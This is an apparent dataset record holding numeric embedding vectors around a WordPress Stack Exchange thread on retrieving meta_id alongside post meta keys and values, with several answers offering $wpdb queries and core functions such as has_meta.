-0.009979248046875,
0.023956298828125,
-0.07928466796875,
-0.03875732421875,
-0.01364898681640625,
-0.048736572265625,
0.0113525390625,
-0.01277923583984375,
0.00384521484375,
0.01666259765625,
-0.010955810546875,
-0.0041351318359375,
-0.0264434814453125,
0.01910400390625,
-0.0240631103515625,
0.01241302490234375,
0.0286102294921875,
0.0021648406982421875,
-0.00963592529296875,
-0.02825927734375,
-0.03631591796875,
0.00756072998046875,
0.014678955078125,
0.0037364959716796875,
-0.0056610107421875,
-0.03546142578125,
0.052581787109375,
0.0767822265625,
0.00499725341796875,
0.05059814453125,
-0.0008573532104492188,
0.0118408203125,
0.0246734619140625,
0.0013990402221679688,
-0.00791168212890625,
-0.01422119140625,
0.075927734375,
0.005626678466796875,
-0.051116943359375,
0.067626953125,
-0.049102783203125,
0.0096435546875,
0.05328369140625,
0.08038330078125,
-0.0750732421875,
0.00746917724609375,
0.0333251953125,
-0.0029735565185546875,
-0.009674072265625,
0.01299285888671875,
-0.04229736328125,
-0.055023193359375,
-0.0032863616943359375,
0.0035839080810546875,
-0.023651123046875,
-0.011962890625,
0.0158538818359375,
0.0022411346435546875,
-0.0218963623046875,
0.06805419921875,
0.0085906982421875,
-0.009765625,
-0.004581451416015625,
-0.002185821533203125,
0.01386260986328125,
0.00916290283203125,
0.0198211669921875,
-0.0091400146484375,
-0.0068817138671875,
-0.05419921875,
0.00396728515625,
-0.02978515625,
-0.01025390625,
0.01263427734375,
0.02398681640625,
-0.00406646728515625,
0.052032470703125,
-0.0213623046875,
0.025848388671875,
0.024322509765625,
-0.03692626953125,
-0.0850830078125,
-0.0099639892578125,
-0.017669677734375,
0.0341796875,
0.0091552734375,
0.027069091796875,
-0.0302276611328125,
-0.0036296844482421875,
-0.014678955078125,
-0.04278564453125,
0.06549072265625,
-0.0232696533203125,
-0.01263427734375,
0.00254058837890625,
0.0184783935546875,
0.0065460205078125,
-0.0208282470703125,
0.0260772705078125,
-0.050994873046875,
0.01001739501953125,
0.005031585693359375,
0.01483917236328125,
-0.005504608154296875,
0.005672454833984375,
-0.060211181640625,
0.03436279296875,
0.01068115234375,
0.01082611083984375,
0.0230255126953125,
0.0013628005981445312,
-0.0179290771484375,
-0.01554107666015625,
-0.0531005859375,
0.0648193359375,
0.0084991455078125,
0.0653076171875,
-0.046966552734375,
-0.00897979736328125,
0.033599853515625,
0.03533935546875,
0.0308074951171875,
0.0021381378173828125,
-0.023956298828125,
-0.02081298828125,
0.0259857177734375,
0.05029296875,
0.01904296875,
0.0136871337890625,
0.01042938232421875,
0.0662841796875,
0.07098388671875,
-0.08416748046875,
0.0245361328125,
-0.0265655517578125,
0.0118255615234375,
0.0167236328125,
0.019073486328125,
0.0284881591796875,
0.007732391357421875,
-0.0141448974609375,
0.00231170654296875,
-0.000579833984375,
-0.003726959228515625,
-0.0259246826171875,
0.00534820556640625,
0.045928955078125,
0.053680419921875,
-0.043487548828125,
-0.0401611328125,
-0.0269775390625,
0.042083740234375,
0.0266265869140625,
0.00531005859375,
0.0225830078125,
0.027008056640625,
0.050262451171875,
-0.024871826171875,
-0.0028324127197265625,
0.0231170654296875,
-0.0127716064453125,
0.076904296875,
0.0147247314453125,
0.0306243896484375,
-0.06732177734375,
-0.0101470947265625,
0.03973388671875,
0.08587646484375,
-0.063232421875,
-0.07037353515625,
0.01287078857421875,
-0.016876220703125,
-0.011993408203125,
0.046539306640625,
0.01187896728515625,
0.029205322265625,
0.0689697265625,
-0.0145416259765625,
-0.0023040771484375,
-0.004547119140625,
-0.0014324188232421875,
-0.03363037109375,
-0.0374755859375,
0.033477783203125,
0.015472412109375,
0.00160980224609375,
-0.0292816162109375,
0.036529541015625,
0.0131988525390625,
-0.0032520294189453125,
0.0084228515625,
-0.0182647705078125,
0.010009765625,
-0.007335662841796875,
0.00876617431640625,
-0.01751708984375,
0.036651611328125,
-0.055267333984375,
-0.045623779296875,
0.0036602020263671875,
0.039459228515625,
0.0341796875,
-0.045440673828125,
0.00229644775390625,
0.0194091796875,
-0.00850677490234375,
-0.0026397705078125,
0.043243408203125,
0.0006060600280761719,
-0.046173095703125,
-0.022613525390625,
-0.0029811859130859375,
0.01605224609375,
0.0237884521484375,
0.01212310791015625,
0.05072021484375,
-0.007152557373046875,
-0.0020732879638671875,
0.033294677734375,
-0.0030193328857421875,
-0.0008101463317871094,
0.051300048828125,
-0.0031032562255859375,
0.03143310546875,
0.01549530029296875,
-0.11492919921875,
-0.03936767578125,
-0.044677734375,
-0.005741119384765625,
0.030517578125,
0.04412841796875,
0.00620269775390625,
-0.00978851318359375,
-0.031463623046875,
-0.004108428955078125,
0.005886077880859375,
0.0037708282470703125,
-0.0032253265380859375,
0.0257415771484375,
0.024810791015625,
-0.0097503662109375,
-0.034332275390625,
-0.02423095703125,
-0.00514984130859375,
0.0107421875,
0.0005283355712890625,
0.0738525390625,
-0.00952911376953125,
0.0063018798828125,
-0.03045654296875,
0.06121826171875,
-0.0726318359375,
-0.03741455078125,
0.04376220703125,
0.002880096435546875,
-0.0027141571044921875,
-0.0028629302978515625,
-0.0153961181640625,
0.01551055908203125,
0.044677734375,
-0.016754150390625,
-0.018585205078125,
-0.00502777099609375,
0.03460693359375,
0.0005359649658203125,
0.00911712646484375,
-0.017333984375,
0.0211944580078125,
0.021240234375,
-0.01258087158203125,
0.0391845703125,
0.02532958984375,
0.01788330078125,
0.0328369140625,
0.0027370452880859375,
-0.03375244140625,
0.0199737548828125,
-0.03839111328125,
0.041015625,
0.03729248046875,
-0.0087127685546875,
-0.00955963134765625,
-0.0016641616821289062,
-0.01161956787109375,
-0.00514984130859375,
0.018402099609375,
0.001590728759765625,
0.01092529296875,
0.00510406494140625,
-0.025665283203125,
-0.0199432373046875,
0.022979736328125,
0.0107574462890625,
-0.0035610198974609375,
-0.0159454345703125,
-0.0146026611328125,
-0.021209716796875,
-0.0182952880859375,
-0.036773681640625,
-0.01537322998046875,
-0.0028934478759765625,
0.0219268798828125,
0.00875091552734375,
-0.01568603515625,
-0.04473876953125,
-0.0082244873046875,
0.0162506103515625,
0.004482269287109375,
-0.0699462890625,
0.0225830078125,
-0.006465911865234375,
0.031524658203125,
-0.027130126953125,
-0.044647216796875,
0.0261077880859375,
0.05145263671875,
0.0005860328674316406,
0.0005412101745605469,
-0.015838623046875,
-0.022430419921875,
-0.0023593902587890625,
-0.0010557174682617188,
0.03192138671875,
-0.024688720703125,
-0.044769287109375,
0.014862060546875,
0.003208160400390625,
0.052001953125,
0.0254974365234375,
0.0012121200561523438,
-0.0011005401611328125,
0.0118255615234375,
-0.03521728515625,
-0.09454345703125,
0.0280609130859375,
-0.0858154296875,
-0.0006628036499023438,
0.02655029296875,
-0.0089874267578125,
0.01806640625,
-0.027069091796875,
-0.0435791015625,
0.06787109375,
-0.00212860107421875,
-0.0304412841796875,
-0.03497314453125,
-0.0031032562255859375,
0.0193939208984375,
-0.0118255615234375,
-0.01186370849609375,
-0.01540374755859375,
-0.06640625,
-0.0005612373352050781,
0.0243072509765625,
-0.0038356781005859375,
0.01947021484375,
0.03363037109375,
-0.08050537109375,
0.0168914794921875,
-0.0261993408203125,
0.01995849609375,
-0.02178955078125,
0.0128631591796875,
0.00864410400390625,
0.03851318359375,
-0.02239990234375,
-0.01372528076171875,
-0.005340576171875,
-0.00821685791015625,
0.031982421875,
-0.01226043701171875,
-0.039947509765625,
-0.033782958984375,
0.02734375,
0.0258331298828125,
0.0292816162109375,
-0.009307861328125,
-0.037567138671875,
-0.01171112060546875,
-0.0265655517578125,
-0.0217437744140625,
0.0233917236328125,
-0.053558349609375,
0.01263427734375,
-0.030303955078125,
0.0023250579833984375,
0.01055908203125,
-0.005809783935546875,
-0.009613037109375,
-0.031341552734375,
0.00609588623046875,
0.0022430419921875,
-0.0235443115234375,
-0.031341552734375,
0.0003361701965332031,
-0.0255584716796875,
-0.04248046875,
-0.0137176513671875,
0.042694091796875,
-0.045745849609375,
-0.020355224609375,
-0.006381988525390625,
0.030914306640625,
-0.005580902099609375,
0.0098724365234375,
0.0211944580078125,
-0.00283050537109375,
-0.0024700164794921875,
0.017486572265625,
-0.00891876220703125,
0.0193634033203125,
-0.015533447265625,
0.0227813720703125,
0.0174713134765625,
0.049652099609375,
0.0165252685546875,
0.0220947265625,
0.016571044921875,
0.043487548828125,
0.00232696533203125,
0.0535888671875,
0.01568603515625,
-0.053253173828125,
0.0404052734375,
-0.049774169921875,
-0.007717132568359375,
0.004650115966796875,
-0.0278472900390625,
-0.046722412109375,
0.007720947265625,
0.035980224609375,
-0.0082550048828125,
0.0252838134765625
] |
8b575a40362b29c6f2d7027adacffbb7bba605a4
|
Wordpress Stackexchange
Q: Get meta_id along with meta_key and meta_value Is it somehow possible to get_post_meta or get_post_custom and have meta_id returned along with the meta_value? For example:
$data = get_post_meta( $post_id, 'my_key' );
// returns this:
array( 0 => array('myvalue1', 1002 ), 1 => array( 'myvalue2', 1003 ));
The basic idea is that because there may be multiple meta_values for the same meta_key, I would have to know the meta_id in order to reliably update/delete the post meta.
A: This function worked for me:
function get_complete_meta( $post_id, $meta_key ) {
global $wpdb;
$mid = $wpdb->get_results( $wpdb->prepare("SELECT * FROM $wpdb->postmeta WHERE post_id = %d AND meta_key = %s", $post_id, $meta_key) );
if( $mid != '' )
return $mid;
return false;
}
it will return an array of objects like:
Array
(
[0] => stdClass Object
(
[meta_id] => 1002
[post_id] => 1
[meta_key] => my_key
[meta_value] => my_value
)
[1] => stdClass Object
(
[meta_id] => 1003
[post_id] => 668
[meta_key] => my_key
[meta_value] => another value
)
)
|
Q: Get meta_id along with meta_key and meta_value Is it somehow possible to get_post_meta or get_post_custom and have meta_id returned along with the meta_value? For example:
$data = get_post_meta( $post_id, 'my_key' );
// returns this:
array( 0 => array('myvalue1', 1002 ), 1 => array( 'myvalue2', 1003 ));
The basic idea is that because there may be multiple meta_values for the same meta_key, I would have to know the meta_id in order to reliably update/delete the post meta.
A: This function worked for me:
function get_complete_meta( $post_id, $meta_key ) {
global $wpdb;
$mid = $wpdb->get_results( $wpdb->prepare("SELECT * FROM $wpdb->postmeta WHERE post_id = %d AND meta_key = %s", $post_id, $meta_key) );
if( $mid != '' )
return $mid;
return false;
}
it will return an array of objects like:
Array
(
[0] => stdClass Object
(
[meta_id] => 1002
[post_id] => 1
[meta_key] => my_key
[meta_value] => my_value
)
[1] => stdClass Object
(
[meta_id] => 1003
[post_id] => 668
[meta_key] => my_key
[meta_value] => another value
)
)
A: I don't know of a Core function/method to retrieve post meta with the key. That isn't to say that there definitively isn't one. There may be. I don't know everything about WordPress, I just pretend to :) Or maybe it has just slipped my mind right now.
However, the fourth parameter of update_post_meta is to ensure that you only update the value you want to update in cases where there are multiple keys.
$prev_value
(mixed) (optional) The old value of the custom field you wish to change. This is to differentiate between several fields with the same
key. If omitted, and there are multiple rows for this post and meta
key, all meta values will be updated.
You send the previously saved value in that fourth parameter and then only that entry is updated.
delete_post_meta operates similarly, but with the third parameter not the fourth.
A: add this code in your functions.php
function get_mid_by_key( $post_id, $meta_key ) {
global $wpdb;
$mid = $wpdb->get_var( $wpdb->prepare("SELECT meta_id FROM $wpdb->postmeta WHERE post_id = %d AND meta_key = %s", $post_id, $meta_key) );
if( $mid != '' )
return (int) $mid;
return false;
}
and then call where ever you want like
$meta_id = get_mid_by_key( your_post_id, 'your_meta_key' );
A: It is odd that Wordpress provides functions to get, update and delete meta via meta_id since v3.3, but as of v3.7 does not have any functions that return the meta id. So, using the core functions from meta.php as reference, I implemented the below functions to be able to retrieve the meta ids along with the values.
Solution
Use the custom function below get_post_meta_db() to get the meta key ids and values, then use Wordpress' update_meta() and delete_meta() to manipulate the post meta.
For example:
$meta = get_post_meta_db( $post_id, 'my_key', true ); // Returns array(
// 'post_id' => 5,
// 'meta_id' = 33,
// 'meta_key' => 'my_key',
// 'meta_value' => 'the_value_for_my_key' );
update_meta( $meta['meta_id'], $meta['meta_key'], 'new_value' );
Here are the custom function definitions:
/**
* Alternative to get_post_meta(), to retrieve meta_ids. @see get_meta_db()
*/
function get_post_meta_db( $post_id, $meta_key = null, $single = false, $meta_val = null, $output = OBJECT ){
return get_meta_db( 'post', $post_id, $meta_key, $meta_val, $single, $output );
}
/**
* Alternative to get_metadata(). Differences:
* - returns every meta field (instead of only meta_values)
* - bypasses meta filters/actions
* - queries database, bypassing cache
* - returns raw meta_values (instead of unserializing arrays)
*
* @param string $meta_type Type of object metadata is for (e.g., comment, post, or user)
* @param int $object_id ID of the object metadata is for
* @param string $meta_key Optional. Metadata key to retrieve. By default, returns all metadata for specified object.
* @param mixed $meta_val Optional. If specified, will only return rows with this meta_value.
* @param bool $single Optional. If true, returns single row, else returns array of rows.
* @param string $output Optional. Any of ARRAY_A | ARRAY_N | OBJECT | OBJECT_K constants. @see wpdb::get_results()
*
* @return array Single metadata row, array of rows, empty array if no matches, or false if there was an error.
*/
function get_meta_db( $meta_type, $object_id = null, $meta_key = null, $meta_val = null, $single = false, $output = OBJECT ){
if( !$meta_type || !$table = _get_meta_table( $meta_type ) )
return false;
// Build query
global $wpdb;
$query = $wpdb->prepare( "SELECT * FROM $table", $object_id );
// Add passed conditions to query
$where = array();
if( $object_id = absint( $object_id ) )
$where[] = $wpdb->prepare( sanitize_key( $meta_type.'_id' ).' = %d', $object_id );
if( !empty($meta_key) )
$where[] = $wpdb->prepare( 'meta_key = %s', wp_unslash( $meta_key ) );
if( null !== $meta_val )
$where[] = $wpdb->prepare( 'meta_value = %s', maybe_serialize(wp_unslash($meta_val)));
if( !empty($where) )
$query .= ' WHERE '.implode(' AND ', $where );
if( $single )
$query .= ' LIMIT 1';
$rows = $wpdb->get_results( $query, $output );
if( empty( $rows ) )
return ( $single ? null : array() );
/*
Uncomment this section to have this function unserialize values (like get_metadata())
NOTE: This can be implemented more efficiently using array_map
// Unserialize serialized meta_values
foreach( $rows as &$r ){
$v =& ($output==ARRAY_A ? $r['meta_value'] : $output==ARRAY_N ? $r[3] : $r->meta_value );
$v = maybe_unserialize( $v );
} */
return ( $single ? reset( $rows ) : $rows );
}
Notes:
*
*These functions query the database, so use sparingly!
*This implementation follows the convention seen in get_metadata_by_mid(), by not using the "get_post_metadata"/"get_user_metadata" pre-filters, and not updating the cache.
*In my case, I only needed the raw data, so unlike get_metadata_by_mid(), this implementation does not unserialize the meta values.
*These functions allow metadata to be selected by post_id/user_id, meta key, meta value, or any combination thereof.
A:
The basic idea is that because there may be multiple meta_values for the same meta_key, I would have to know the meta_id in order to reliably update/delete the post meta.
What you call meta_id here technically does not exist in Wordpress. There is the post_id and that is also the id for all the meta (in meta sprak this is the object_id).
Next to that there is the meta_key and as you rightfully write, as there can be more than one value per each meta_key on the same object_id, there is ambiguity because all this depends on is the order in which the database presents values here - and that only indirect, because meta values also have their cache, the object cache.
So even you can see a meta_id in the database, it's not further used only to have a primary key in the db.
It is not part of the database result that is used within Wordpress PHP userland code and therefore it is not part of the meta-cache and therefore never makes it into the meta API functions (because they access the database via the meta cache API).
Which leads to the final conclusion:
As you talk about meta_id and it only exists in the database (dbprefix_postmeta table), your question can only mean to delete / update an entry in that table. Just normal SQL operations should suffice.
A: The WordPress core function has_meta returns associative arrays of meta data. Each meta data array contains the meta_id.
Return
(array[]) Array of meta data arrays for the given post ID.
*
*'...$0' (array) Associative array of meta data.
*
*'meta_key' (string) Meta key.
*'meta_value' (mixed) Meta value.
*'meta_id' (string) Meta ID as a numeric string.
*'post_id' (string) Post ID as a numeric string.
You can reliably update and delete meta values that share the same meta key using has_meta with update_metadata_by_mid and delete_metadata_by_mid.
In the OPs example, to update array('myvalue1', 1002) and delete array('myvalue2', 1003):
$metadata = has_meta( $post_id );
foreach ( $metadata as $item ) {
// Convert the meta_id numeric string to an integer
$meta_id = intval( $item[ 'meta_id' ] );
$meta_key = $item[ 'meta_key' ];
$meta_value = $item[ 'meta_value' ];
if ( $meta_key === 'my_key' && $meta_value === 'myvalue1' ) {
update_metadata_by_mid( 'post', $meta_id, 'new value' );
} else if ( $meta_key === 'my_key' && $meta_value === 'myvalue2' ) {
delete_metadata_by_mid( 'post', $meta_id );
}
}
Reference: has_meta is used by WordPress core to populate the form fields in the Custom Fields panel.
|
wordpress
|
{
"language": "en",
"length": 1359,
"provenance": "stackexchange_00019.jsonl.gz:436014",
"question_score": "5",
"source": "stackexchange",
"timestamp": "2023-03-29",
"url": "https://wordpress.stackexchange.com/questions/110776"
}
|
[
0.01250457763671875,
-0.00391387939453125,
0.039520263671875,
0.0203399658203125,
-0.0182342529296875,
-0.00786590576171875,
0.039581298828125,
-0.03594970703125,
0.015899658203125,
0.0101470947265625,
-0.006282806396484375,
-0.00965118408203125,
-0.01190948486328125,
-0.033721923828125,
0.006748199462890625,
-0.02105712890625,
0.053253173828125,
-0.01186370849609375,
0.04937744140625,
0.007297515869140625,
0.0282440185546875,
0.0253143310546875,
0.040771484375,
0.05487060546875,
0.055755615234375,
-0.06884765625,
0.0210723876953125,
0.003826141357421875,
0.0190582275390625,
-0.01544189453125,
0.03826904296875,
0.032257080078125,
0.018310546875,
-0.01380157470703125,
0.0248870849609375,
-0.006526947021484375,
0.037811279296875,
-0.00792694091796875,
0.0175628662109375,
0.00545501708984375,
0.01123046875,
0.00162506103515625,
-0.0167083740234375,
0.00864410400390625,
-0.03009033203125,
-0.044891357421875,
0.0259246826171875,
-0.00844573974609375,
0.00460052490234375,
0.017669677734375,
-0.01065826416015625,
0.043121337890625,
-0.0011072158813476562,
0.0163726806640625,
0.001728057861328125,
-0.0151214599609375,
-0.01953125,
-0.03277587890625,
0.04327392578125,
0.030487060546875,
-0.0240020751953125,
-0.0275115966796875,
0.02117919921875,
-0.0526123046875,
-0.017486572265625,
-0.0140838623046875,
-0.03466796875,
0.00927734375,
-0.022064208984375,
-0.017120361328125,
0.0281524658203125,
-0.008209228515625,
0.009796142578125,
-0.044219970703125,
-0.0035686492919921875,
-0.0274658203125,
0.0186767578125,
-0.032470703125,
-0.033294677734375,
0.0177154541015625,
0.006076812744140625,
-0.0355224609375,
-0.04730224609375,
0.0279998779296875,
-0.007762908935546875,
0.03717041015625,
-0.01213836669921875,
-0.018890380859375,
-0.006397247314453125,
-0.049102783203125,
-0.00957489013671875,
-0.0731201171875,
0.005428314208984375,
0.005954742431640625,
-0.033660888671875,
-0.034698486328125,
-0.0009665489196777344,
0.064697265625,
-0.0411376953125,
0.017333984375,
-0.0199737548828125,
-0.0230712890625,
0.00978851318359375,
-0.052886962890625,
-0.01422882080078125,
-0.0172576904296875,
0.00608062744140625,
-0.00554656982421875,
0.0028438568115234375,
0.038665771484375,
-0.036529541015625,
0.006816864013671875,
-0.03271484375,
-0.0169830322265625,
-0.034912109375,
0.052032470703125,
-0.0303955078125,
-0.0291290283203125,
-0.007053375244140625,
-0.001766204833984375,
0.04144287109375,
0.047271728515625,
0.0247955322265625,
-0.040374755859375,
0.0166168212890625,
0.01885986328125,
-0.052947998046875,
-0.0498046875,
-0.01262664794921875,
0.0360107421875,
-0.04833984375,
0.008087158203125,
0.0938720703125,
0.0121612548828125,
0.004428863525390625,
-0.0294952392578125,
-0.01357269287109375,
-0.0158843994140625,
-0.01180267333984375,
0.0184783935546875,
-0.01241302490234375,
-0.031463623046875,
0.0272216796875,
-0.0092010498046875,
-0.06610107421875,
0.00017130374908447266,
0.011474609375,
0.0226593017578125,
-0.0212249755859375,
-0.05584716796875,
-0.0292816162109375,
-0.002288818359375,
0.0273284912109375,
-0.0019855499267578125,
0.01300048828125,
-0.0003921985626220703,
0.033416748046875,
-0.0288543701171875,
-0.02593994140625,
-0.0218353271484375,
0.0216217041015625,
-0.01473236083984375,
-0.0166168212890625,
-0.0039043426513671875,
-0.0228424072265625,
0.017364501953125,
0.0148468017578125,
-0.005352020263671875,
0.0177001953125,
0.055877685546875,
0.0474853515625,
0.004886627197265625,
-0.004405975341796875,
-0.0145416259765625,
-0.0151214599609375,
-0.03399658203125,
0.01471710205078125,
0.0072021484375,
0.0163726806640625,
0.002422332763671875,
-0.0229339599609375,
-0.0253448486328125,
0.016204833984375,
0.01290130615234375,
-0.04815673828125,
0.0543212890625,
0.0209197998046875,
0.0777587890625,
-0.00821685791015625,
0.0216064453125,
0.04986572265625,
0.01727294921875,
-0.0278778076171875,
0.01480865478515625,
0.0001920461654663086,
0.000637054443359375,
-0.00955963134765625,
0.0028362274169921875,
0.0074920654296875,
-0.03240966796875,
0.002834320068359375,
-0.0099639892578125,
-0.00457763671875,
-0.0113067626953125,
-0.08587646484375,
-0.01031494140625,
-0.02716064453125,
0.03985595703125,
-0.0650634765625,
0.0202178955078125,
0.04266357421875,
-0.02520751953125,
-0.0216827392578125,
0.00554656982421875,
0.017333984375,
-0.024169921875,
-0.0187225341796875,
0.023712158203125,
-0.053985595703125,
0.01477813720703125,
-0.06829833984375,
-0.037200927734375,
-0.06842041015625,
0.033233642578125,
0.04522705078125,
0.01080322265625,
0.007755279541015625,
0.0036163330078125,
0.0706787109375,
0.039794921875,
-0.03240966796875,
-0.042572021484375,
0.0222320556640625,
0.0009527206420898438,
-0.0235137939453125,
-0.009735107421875,
0.002414703369140625,
-0.0933837890625,
0.01446533203125,
0.06951904296875,
0.0184478759765625,
0.01934814453125,
-0.0082550048828125,
0.0205078125,
0.024444580078125,
-0.00568389892578125,
0.01134490966796875,
-0.0027599334716796875,
0.0443115234375,
0.0736083984375,
-0.056182861328125,
-0.005863189697265625,
0.026519775390625,
-0.023712158203125,
-0.0033721923828125,
0.043426513671875,
-0.032989501953125,
0.006320953369140625,
0.005840301513671875,
-0.007724761962890625,
-0.0136871337890625,
-0.022430419921875,
0.0123138427734375,
-0.026580810546875,
0.037750244140625,
-0.007781982421875,
0.04931640625,
0.025787353515625,
-0.034027099609375,
-0.004863739013671875,
0.013916015625,
0.0260772705078125,
0.017333984375,
0.0244903564453125,
-0.008575439453125,
0.005535125732421875,
-0.0257720947265625,
0.002838134765625,
0.04290771484375,
0.00737762451171875,
0.007843017578125,
0.03582763671875,
-0.0382080078125,
-0.00754547119140625,
0.0110931396484375,
-0.051361083984375,
-0.0242462158203125,
0.0179443359375,
-0.0181732177734375,
-0.00710296630859375,
0.0286712646484375,
0.0506591796875,
-0.005474090576171875,
0.0179290771484375,
-0.0056304931640625,
0.01146697998046875,
0.0589599609375,
-0.054290771484375,
0.055450439453125,
-0.0364990234375,
0.034210205078125,
0.060211181640625,
-0.044036865234375,
0.040802001953125,
-0.006656646728515625,
-0.00989532470703125,
-0.025604248046875,
0.035736083984375,
0.01074981689453125,
-0.050201416015625,
-0.017547607421875,
0.0229339599609375,
0.018035888671875,
0.05596923828125,
0.00836944580078125,
-0.0250244140625,
0.0168914794921875,
0.031585693359375,
-0.0814208984375,
-0.1217041015625,
0.051025390625,
0.00913238525390625,
-0.0003006458282470703,
-0.052978515625,
-0.006221771240234375,
-0.008056640625,
-0.0675048828125,
-0.0076446533203125,
-0.007175445556640625,
-0.01248931884765625,
-0.04315185546875,
-0.035308837890625,
-0.05963134765625,
-0.0160980224609375,
-0.0029277801513671875,
-0.0018911361694335938,
0.01183319091796875,
0.009490966796875,
0.006847381591796875,
-0.020416259765625,
0.0135498046875,
0.043060302734375,
-0.0170135498046875,
-0.01424407958984375,
0.005558013916015625,
-0.04840087890625,
-0.00461578369140625,
-0.00882720947265625,
-0.004100799560546875,
-0.003803253173828125,
0.016021728515625,
-0.0009036064147949219,
-0.008270263671875,
0.01055145263671875,
0.06689453125,
-0.0174713134765625,
-0.026885986328125,
0.0711669921875,
0.0792236328125,
0.01357269287109375,
-0.0034084320068359375,
-0.02972412109375,
-0.032257080078125,
0.00670623779296875,
-0.00225830078125,
0.00977325439453125,
-0.0019359588623046875,
0.0167236328125,
-0.0028247833251953125,
-0.0018625259399414062,
-0.0160064697265625,
-0.0222015380859375,
0.039154052734375,
0.01184844970703125,
0.0289154052734375,
0.0039520263671875,
-0.0213775634765625,
-0.034088134765625,
0.03582763671875,
-0.01308441162109375,
0.004314422607421875,
0.002841949462890625,
-0.0126495361328125,
-0.0147705078125,
-0.01372528076171875,
0.078125,
0.0273590087890625,
0.060821533203125,
-0.05743408203125,
-0.07135009765625,
-0.039306640625,
0.1180419921875,
0.037200927734375,
-0.0161285400390625,
-0.01322174072265625,
0.004558563232421875,
-0.01019287109375,
-0.02899169921875,
0.00414276123046875,
-0.0019397735595703125,
-0.08001708984375,
0.025726318359375,
0.0184478759765625,
-0.029144287109375,
-0.0271759033203125,
0.020416259765625,
-0.0782470703125,
-0.019805908203125,
0.02923583984375,
-0.0149993896484375,
0.03240966796875,
0.00881195068359375,
0.0280609130859375,
0.0028095245361328125,
-0.015960693359375,
-0.02880859375,
-0.024810791015625,
-0.0057220458984375,
-0.01044464111328125,
0.06243896484375,
0.036895751953125,
-0.0247955322265625,
0.0164947509765625,
0.044830322265625,
-0.0101165771484375,
0.0285186767578125,
-0.0208587646484375,
0.0214996337890625,
-0.021209716796875,
-0.01021575927734375,
0.0013341903686523438,
-0.032745361328125,
-0.03875732421875,
-0.04864501953125,
0.0007677078247070312,
-0.00894927978515625,
-0.041839599609375,
-0.0205078125,
-0.020660400390625,
-0.005100250244140625,
-0.01053619384765625,
-0.0108795166015625,
-0.035430908203125,
0.010223388671875,
-0.038543701171875,
0.0048980712890625,
-0.015625,
-0.033050537109375,
0.03460693359375,
0.037078857421875,
-0.0060577392578125,
0.002758026123046875,
0.057647705078125,
0.01313018798828125,
-0.0450439453125,
-0.048614501953125,
0.004703521728515625,
0.0017652511596679688,
-0.03265380859375,
0.0382080078125,
0.0011501312255859375,
-0.00263214111328125,
0.043304443359375,
-0.03277587890625,
0.013397216796875,
-0.016845703125,
0.05084228515625,
-0.003864288330078125,
-0.017333984375,
0.022705078125,
-0.006259918212890625,
-0.0218505859375,
0.0231475830078125,
-0.0196075439453125,
-0.005428314208984375,
0.0081634521484375,
0.029266357421875,
-0.0232391357421875,
0.0132904052734375,
-0.0260772705078125,
-0.0252838134765625,
0.0071258544921875,
-0.0022907257080078125,
0.00603485107421875,
0.0232696533203125,
-0.0038623809814453125,
0.009368896484375,
0.01346588134765625,
0.00572967529296875,
0.0072479248046875,
-0.000423431396484375,
-0.0011587142944335938,
0.02215576171875,
-0.01157379150390625,
-0.004528045654296875,
-0.005218505859375,
0.0000024437904357910156,
0.051727294921875,
-0.0214080810546875,
-0.040252685546875,
-0.03118896484375,
-0.021240234375,
0.01560211181640625,
0.0304107666015625,
-0.0595703125,
0.037017822265625,
0.061553955078125,
-0.06829833984375,
-0.006336212158203125,
-0.0236053466796875,
-0.0095977783203125,
-0.0682373046875,
-0.0143280029296875,
-0.00807952880859375,
-0.0171051025390625,
-0.0440673828125,
0.1390380859375,
-0.0240631103515625,
0.0538330078125,
-0.01180267333984375,
0.059661865234375,
0.01849365234375,
0.056854248046875,
0.006412506103515625,
-0.031646728515625,
-0.007595062255859375,
0.047119140625,
-0.055328369140625,
-0.0305938720703125,
-0.0007605552673339844,
0.0152435302734375,
0.035919189453125,
0.01222991943359375,
-0.002613067626953125,
0.01580810546875,
-0.013946533203125,
-0.018096923828125,
0.0162506103515625,
-0.0006480216979980469,
-0.044525146484375,
-0.00460052490234375,
0.0439453125,
0.0202178955078125,
-0.009246826171875,
0.0179443359375,
-0.01453399658203125,
-0.004375457763671875,
0.047821044921875,
-0.058441162109375,
0.05487060546875,
-0.031829833984375,
-0.034515380859375,
0.01806640625,
0.01206207275390625,
-0.01446533203125,
-0.0347900390625,
-0.042388916015625,
-0.00925445556640625,
-0.016632080078125,
0.058807373046875,
-0.0033779144287109375,
0.007663726806640625,
-0.0302276611328125,
0.02166748046875,
-0.02935791015625,
0.0022125244140625,
0.042877197265625,
0.0169677734375,
-0.0012121200561523438,
-0.0052032470703125,
-0.034027099609375,
-0.0013065338134765625,
0.06158447265625,
-0.0301513671875,
0.0068359375,
-0.04315185546875,
-0.022491455078125,
0.03857421875,
0.0008044242858886719,
0.0195770263671875,
0.0074005126953125,
-0.004329681396484375,
-0.0290069580078125,
0.03887939453125,
-0.0018205642700195312,
0.0380859375,
-0.0237274169921875,
0.0657958984375,
0.01163482666015625,
0.01666259765625,
-0.01605224609375,
-0.0284423828125,
0.019805908203125,
-0.021240234375,
-0.0194091796875,
-0.0280303955078125,
-0.006866455078125,
-0.038970947265625,
0.007167816162109375,
-0.017547607421875,
0.01515960693359375,
-0.00450897216796875,
-0.00873565673828125,
-0.01499176025390625,
0.0184478759765625,
0.0081634521484375,
0.018035888671875,
0.0401611328125,
-0.024932861328125,
-0.0302276611328125,
0.00872039794921875,
0.0182647705078125,
0.0054931640625,
-0.01525115966796875,
0.0016689300537109375,
0.0017080307006835938,
-0.03643798828125,
0.05328369140625,
0.0789794921875,
0.01971435546875,
0.027252197265625,
0.0018749237060546875,
0.0170135498046875,
-0.016998291015625,
-0.015625,
0.0008244514465332031,
0.034027099609375,
0.08905029296875,
0.0024700164794921875,
-0.0223236083984375,
0.06866455078125,
-0.030487060546875,
0.020111083984375,
0.00787353515625,
0.06549072265625,
-0.025604248046875,
0.0191802978515625,
0.032501220703125,
-0.018707275390625,
0.0247802734375,
0.006519317626953125,
-0.00543212890625,
-0.020843505859375,
-0.0255279541015625,
0.0122222900390625,
-0.0439453125,
-0.0185394287109375,
0.0185699462890625,
-0.0131378173828125,
-0.038726806640625,
-0.0204315185546875,
0.002490997314453125,
0.0489501953125,
0.018768310546875,
-0.0105438232421875,
0.0245361328125,
-0.02239990234375,
0.0190277099609375,
0.000015497207641601562,
-0.0172119140625,
-0.08770751953125,
-0.0162811279296875,
-0.0081329345703125,
-0.0251922607421875,
0.01271820068359375,
0.01483154296875,
0.03826904296875,
0.022705078125,
0.020660400390625,
-0.0352783203125,
-0.0179443359375,
